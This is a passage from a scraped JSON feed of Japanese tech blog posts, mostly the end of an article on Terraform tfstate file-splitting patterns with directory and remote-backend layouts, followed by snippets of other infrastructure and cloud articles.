backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせる分割パターンの場合、同じリポジトリで管理するとリポジトリが巨大になってしまいます。そのため、これはお勧めしません。【チーム別 \xd7 サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせる分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせて分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 frontend-team│ ├── \uD83D\uDCC2 application│ │ └── terraform.tfstate # frontendチームが管理するapplicationコンポーネントの状態を持つ│ ││ └── \uD83D\uDCC2 monitor│ └── terraform.tfstate # frontendチームが管理するmonitorコンポーネントの状態を持つ│├── \uD83D\uDCC2 backend-team│ ├── \uD83D\uDCC2 application│ │ └── terraform.tfstate # backendチームが管理するapplicationコンポーネントの状態を持つ│ ││ └── \uD83D\uDCC2 monitor│ └── terraform.tfstate # backendチームが管理するmonitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 sre-team ├── \uD83D\uDCC2 application │ └── terraform.tfstate # sreチームが管理するapplicationコンポーネントの状態を持つ │ ├── \uD83D\uDCC2 auth │ └── terraform.tfstate # sreチームが管理するauthコンポーネントの状態を持つ │ ├── \uD83D\uDCC2 monitor │ └── terraform.tfstate # sreチームが管理するmonitorコンポーネントの状態を持つ │ └── \uD83D\uDCC2 network └── terraform.tfstate # sreチームが管理するnetworkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...同じテナント内のプロダクト別この分割方法について同じテナント (例:同じAWSアカウントの同じVPC) 内に複数の小さなプロダクトがある場合、プロダクト別でtfstateファイルを分割し、中間層もこれに基づいて設計します。ここでいうプロダクトは、アプリを動かすプラットフォーム (例:EKS、ECS、AppRunner、EC2) とそれを取り巻くAWSリソースを指しています。この分割方法により、各プロダクトの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。▶ おすすめ度について【同じテナント内のプロダクト】状態の依存関係図例えば、以下のプロダクトに分割した状況と仮定します。fooプロダクトbarプロダクト共有networkコンポーネント (例:VPC、Route53)ここで仮定した状況では、各プロダクトの tfstate ファイルの依存は一方向最終的に、共有networkコンポーネントの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 同じテナント内のプロダクト---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket foo-product[\\"foo-product-tfstate
(アプリを動かすプラットフォームのAWSリソース)\\"]-..->network bar-product[\\"bar-product-tfstate
(アプリを動かすプラットフォームのAWSリソース)\\"]-..->network network[\\"network-tfstate
(Route53, VPC)\\"] end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【同じテナント内のプロダクト】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# fooプロダクトの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-foo-product-repository/├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する ...# barプロダクトの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-bar-product-repository/├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する ...# 共有networkコンポーネントの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-network-repository/├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── route53.tf├── vpc.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 foo-product/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 bar-product/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【同じテナント内のプロダクト】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合同じテナント内のプロダクトの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 foo-product│ └── terraform.tfstate # fooプロダクトの状態を持つ│├── \uD83D\uDCC2 bar-product│ └── terraform.tfstate # barプロダクトの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...AWSリソースの種類グループ別この分割方法についてAWSリソースの種類グループ別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各AWSリソースの種類グループも管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。▶ おすすめ度についてterraform_remote_stateブロック地獄になっていくため、適切な数 (3〜5個くらい) にしておくように注意が必要です。特にこの分割方法は、グループ数がどんどん増えていく可能性があります\uD83D\uDE07【種類グループ別】状態の依存関係図例えば、以下の種類グループに分割した状況と仮定します。application (Webサーバー、Appサーバー系)auth (認証/認可系)datastore (DBサーバー系)cicd (CI/CD系)monitor (監視系)network (ネットワーク系)ここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、networkグループやauthグループの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: AWSリソースの種類グループ別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket application[\\"application-tfstate
例: ALB, API Gateway, CloudFront, EC2, ECS, EKS, SNS, など\\"] auth[\\"auth-tfstate
例: IAM, など\\"] cicd[\\"cicd-tfstate
例: Code3兄弟, など\\"] monitor[\\"monitor-tfstate
例: CloudWatch, など\\"] network[\\"network-tfstate
例: Route53, VPC, など\\"] datastore[\\"datastore-tfstate
例: ElastiCache, RDS, S3, など\\"] application-....->auth application-..->datastore application-...->network cicd-..->application datastore-..->network monitor-..->application monitor-..->datastore end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【種類グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合AWSリソースの種類グループ別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、AWSリソースの種類グループ別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── alb.tf│ ├── api_gateway.tf│ ├── cloudfront.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 cicd/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── codebuild.tf│ ├── codecommit.tf│ ├── codedeploy.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 datastore/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── elasticache.tf│ ├── rds.tf│ ├── s3.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから参照できるように、outputブロックを定義する ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【種類グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合AWSリソースの種類グループ別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、AWSリソースの種類グループ別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 application│ └── terraform.tfstate # applicationコンポーネントの状態を持つ│├── \uD83D\uDCC2 auth│ └── terraform.tfstate # authコンポーネントの状態を持つ│├── \uD83D\uDCC2 cicd│ └── terraform.tfstate # cicdコンポーネントの状態を持つ│├── \uD83D\uDCC2 datastore│ └── terraform.tfstate # datastoreコンポーネントの状態を持つ│├── \uD83D\uDCC2 monitor│ └── terraform.tfstate # monitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...AWSリソースの状態の変更頻度グループ別この分割方法についてAWSリソースの状態の変更頻度グループ別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各変更頻度グループの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。https://www.reddit.com/r/Terraform/comments/126jwa1/comment/jea9bjk/?utm_source=share&utm_medium=web3x&utm_name=web3xcss&utm_term=1&utm_content=share_button▶ おすすめ度について【変更頻度グループ別】状態の依存関係図例えば、以下の変更頻度グループに分割した状況と仮定します。変更高頻度グループ変更中頻度グループ変更低頻度グループここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、変更低頻度グループの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: AWSリソースの状態の変更頻度グループ別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket high[\\"high-freq-tfstate
例: API Gateway, CloudFront, CloudWatch, IAM\\"] middle[\\"middle-freq-tfstate
例: ALB, EC2, ECS, EKS, ElastiCache, RDS, S3, SES, SNS\\"] low[\\"low-freq-tfstate
例: Route53, VPC\\"] high-...->low middle-..->low end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【変更頻度グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合AWSリソースの変更頻度グループ別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、AWSリソースの変更頻度グループ別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 high-freq # 高頻度変更グループ│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── api_gateway.tf│ ├── cloudfront.tf│ ├── cloudwatch.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 low-freq # 低頻度変更グループ│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── route53.tf│ ├── vpc.tf│ ├── \uD83D\uDCC2 tes│ │ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg│ │ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd│ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 middle-freq # 中頻度変更グループ (高頻度とも低頻度とも言えないリソース) ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── elasticache.tf ├── rds.tf ├── s3.tf ├── ses.tf ├── \uD83D\uDCC2 tes │ ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg │ ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する ...【変更頻度グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合AWSリソースの変更頻度グループ別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、AWSリソースの変更頻度グループ別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 high-freq│ └── terraform.tfstate # high-freqコンポーネントの状態を持つ│├── \uD83D\uDCC2 middle-freq│ └── terraform.tfstate # middle-freqコンポーネントの状態を持つ│└── \uD83D\uDCC2 low-freq └── terraform.tfstate # low-freqコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...10. おわりにTerraformのtfstateファイルの分割パターンをもりもり布教しました。ぜひ採用してみたい分割パターンはあったでしょうか。Terraformの開発現場の具体的な要件は千差万別であり、特にtfstateファイル間の状態の依存関係は様々です。もし、この記事を参考に設計してくださる方は、分割パターンを現場に落とし込んで解釈いただけると幸いです\uD83D\uDE47\uD83C\uDFFB‍「自分を信じても…信頼に足る仲間を信じても…誰にもわからない…」(お友達の@nwiizo, 2023, Terraform Modules で再利用できるので最高ではないでしょうか?)謝辞今回、Terraformの分割パターンの収集にあたり、以下の方々からの意見・実装方法も参考にさせていただきました。@kiyo_12_07 さん@masasuzu さん@tozastation さん(アルファベット順)この場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍Terraform in Action (English Edition)作者:Winkler, ScottManningAmazonTerraform: Up and Running: Writing Infrastructure as Code作者:Brikman, YevgeniyO\'Reilly MediaAmazon","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/07/05/001756","isoDate":"2023-07-04T15:17:56.000Z","dateMiliSeconds":1688483876000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"光に負けルナ~Google Cloudでのマルチリージョンデータベースについて~","contentSnippet":"クラウドを利用する一番のメリットの一つとしてオンデマンドでリソースを調達し、アクセス負荷に応じてスケールイン・アウト出来ることが上げられます。そのため大体のアプリケーションではシングルリージョンまたは隣接するリージョン2~3程度で運用を始めることが多いと思います。(日本の場合asia-northeast-1とasia-northeast-2など)アプリケーションがグローバルに拡大すると、それだけ物理的な距離が広がりユーザ・サーバ間のアクセスにかかる時間が拡大します。例えばユーザ・サーバ共に日本にある場合(沖縄・北海道間約3,000km)、ネットワークによる遅延は片道約15ms以下...","link":"https://zenn.dev/nnaka2992/articles/to_beat_light_speed_on_google_cloud_databases","isoDate":"2023-07-03T15:39:08.000Z","dateMiliSeconds":1688398748000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"スリーシェイクに入社しました!","link":"https://bells17.medium.com/3-shake-279ea982b977?source=rss-713cf42ce34d------2","isoDate":"2023-07-03T14:10:50.000Z","dateMiliSeconds":1688393450000,"authorName":"bells17","authorId":"bells17"},{"title":"Copilotでらくらくコードリーディング","contentSnippet":"GitHub Copilot便利ですね。2021年にTechnical Previewとして発表された時から便利だ便利だと言われていたGitHub Copilotに、2023年の4月末ごろからデビューしました。デビューしたは良いものの最近は仕事ではコーディングよりアーキテクト的な方面でのお仕事が多かったり、個人の時間でもコーディングするよりOSSのコードを読むことのほうが多くコーディングのアシスタントツールとしては使いこなせていません。そのため最近はPostgreSQLのコードを読むときのアシスタントとして利用することが多いです。なのでこの記事ではCopilotでコードリーディン...","link":"https://zenn.dev/nnaka2992/articles/code_reading_with_copilot","isoDate":"2023-06-28T14:41:21.000Z","dateMiliSeconds":1687963281000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Cloud RunのSidecarでJVMのmetricsの取得してみた","contentSnippet":"概要Cloud Runのmetricsをデフォルトで取得している指標(metrics)以外の指標が他に欲しい場合、どうするのが良いのかを考えてみました。ちょうどCloud RunのSidecar機能がでたので、それを使います。他の指標を、ここではJVMのmetricsとします。Cloud Run上のJVMのmetricsが取れて何が嬉しいのかについては、一旦考えません。後にCloud Runの最大起動時間が増えた場合は、意味があるかもしれません。 構成図にすると以下のような感じになります。Cloud RunでSpring Bootアプリケーションを立ち上げClou...","link":"https://zenn.dev/satohjohn/articles/25bc5879de7832","isoDate":"2023-06-28T12:03:00.000Z","dateMiliSeconds":1687953780000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"ロクに勉強してこなかったエンジニアが輪読会参加とかPCA受験に向けて勉強とかしてみた話","contentSnippet":"この記事について40歳でフリーランスから転職をきっかけに会社員エンジニアになって、社内のエンジニアの熱意に影響を受けて勉強をはじめてみた中年エンジニアの感想とか気づきとかです。先に結論勉強する…","link":"https://qiita.com/bayobayo0324/items/56f93f50fa0115dc4d6d","isoDate":"2023-06-27T12:31:17.000Z","dateMiliSeconds":1687869077000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"やさしいERC20開発","contentSnippet":"https://cryptocurrency.connpass.com/event/287311/\\r\\rEthereumスマートコントラクトライブラリ「OpenZeppelin」を用いてERC20コントラクトをSepolia Testnetにデプロイし、基本的な操作を体験していただけます。\\r\\rRemixを使用し、OpenZeppelinを用いて基本的な送金、EOAへの委任と、\\rコントラクトへ委任し、ETHを送るとERC20が送金される自動販売機のようなスマートコントラクトの実装を行います。","link":"https://speakerdeck.com/shukob/yasasiierc20kai-fa","isoDate":"2023-06-23T04:00:00.000Z","dateMiliSeconds":1687492800000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"SRETT#6_Terraformのtfstateについて考える","contentSnippet":"","link":"https://speakerdeck.com/masasuzu/srett-number-6-terraformnotfstatenituitekao-eru","isoDate":"2023-06-22T04:00:00.000Z","dateMiliSeconds":1687406400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Terraformで実践するAWS IAM Identity Center(AWS Single Sign-On)のユーザー管理戦略","contentSnippet":"はじめにAWS IAM Identity Center(AWS Single Sign-On)を使用して、ユーザー管理を考えていく上で、Terraformを使用して構成管理を実現しようと思います。作成したコードはgithub上に上がっているので、ご参考ください…","link":"https://qiita.com/yokoo-an209/items/569ac1ba517b076e8cde","isoDate":"2023-06-21T04:05:23.000Z","dateMiliSeconds":1687320323000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"アプリ開発者のための kubectl 講座","contentSnippet":"これは何Kubernetes クラスタ管理者とアプリケーション開発者が分業しているプロジェクトで,開発者が必ずしも Kubernetes に詳しくない場合を想定し,開発時に使いそうな kubectl のコマンドをまとめたものです。クラスタ管理者から開発者にこのドキュメントを適宜改変して渡し,開発者がある程度自立して操作できるようになることで,管理者への問い合わせ負荷を減らすのが狙いです。場合によってはハンズオンで講座を開いてもよいでしょう。 ドキュメント案ここでは Amazon EKS でクラスタを構築する場合の例を示します。別のインフラに構築している場合は適宜書き換え...","link":"https://zenn.dev/toshikish/articles/6a06017747cbba","isoDate":"2023-06-19T06:03:18.000Z","dateMiliSeconds":1687154598000,"authorName":"toshikish","authorId":"toshikish"},{"title":"夏に向けて、体もコンテナイメージも減量(軽量化)させよう!","contentSnippet":"はじめにdockerで構築しているNext.jsのフロントエンドアプリケーションのimageをAmazon ECRにpushしようとしたときに、pushのあまりの遅さにびっくりしたのがことの発端で…","link":"https://qiita.com/yokoo-an209/items/0297808af40c1a74928e","isoDate":"2023-06-19T02:46:48.000Z","dateMiliSeconds":1687142808000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Terraform 静的検査ツール比較","contentSnippet":"対象tfsectflintKICSCheckovSnyk tfsechttps://github.com/aquasecurity/tfsechttps://aquasecurity.github.io/tfsec/v1.28.1 特徴CI系公式のdocker imageがあるhttps://github.com/aquasecurity/tfsec#use-with-dockerGitHub Actionがあるhttps://github.com/aquasecurity/tfsec-pr-commenter-actionGitH...","link":"https://zenn.dev/tayusa/articles/9829faf765ab67","isoDate":"2023-06-15T17:00:00.000Z","dateMiliSeconds":1686848400000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"editcap で tcpdump のキャプチャファイルから指定の時間帯を切り出す","contentSnippet":"ちょっと大きめ (時間範囲の広い) pcap ファイルがあって、wireshark で見るにしてもちょっと大きすぎるなということがありました。 見たい時間帯","link":"https://blog.1q77.com/2023/06/editcap/","isoDate":"2023-06-15T14:46:42.000Z","dateMiliSeconds":1686840402000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"GitHub の Reusable workflow で working-directory に変数を使う","contentSnippet":"やりたいことGitHub Actions の reusable workflow で,作業ディレクトリを入力変数で変えたい場合を考えます。on: workflow_call: inputs: workdir: required: true type: string うまくいかない方法ワークフロー全体のステップのデフォルト設定 defaults.run.working-directory 